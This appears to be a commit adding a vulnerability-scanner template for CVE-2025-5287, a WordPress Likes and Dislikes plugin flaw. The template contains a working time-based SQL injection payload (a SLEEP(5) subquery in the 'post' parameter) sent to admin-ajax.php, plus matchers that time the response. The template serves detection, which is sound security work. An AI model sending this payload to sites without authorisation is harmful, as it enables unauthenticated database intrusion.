Update CVE-2025-5287.yaml

Create CVE-2025-5287.yaml
2026-11-07 08:36:19 -10:00 · 2025-07-17 17:39:22 +05:30 · 2025-07-17 17:36:41 +05:30
1 changed files with 34 additions and 0 deletions
@@ -0,0 +1,34 @@
+id: CVE-2025-5287
+
+info:
+  name: WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection
+  author: pussycat0x
+  severity: high
+  description: |
+    The Likes and Dislikes plugin ≤ 1.0.0 is vulnerable to unauthenticated SQL Injection via the post parameter. This stems from missing input sanitization and lack of prepared statements.Attackers can exploit it to leak or manipulate database content.
+  reference:
+    - https://github.com/Nxploited/CVE-2025-5287
+  tags: cve,cve2025,wordpress,wp-plugin,sqli,plugin,likes-and-dislikes
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        @timeout: 30s
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a)&state=like  
+
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=5'
+          - 'contains(body_1, 'plugins/posts-like-dislike')'
+        condition: and
Author	SHA1	Message	Date
pussycat0x	d3bd9c20c7	Update CVE-2025-5287.yaml	2025-07-17 17:39:22 +05:30
pussycat0x	72720aec8f	Create CVE-2025-5287.yaml	2025-07-17 17:36:41 +05:30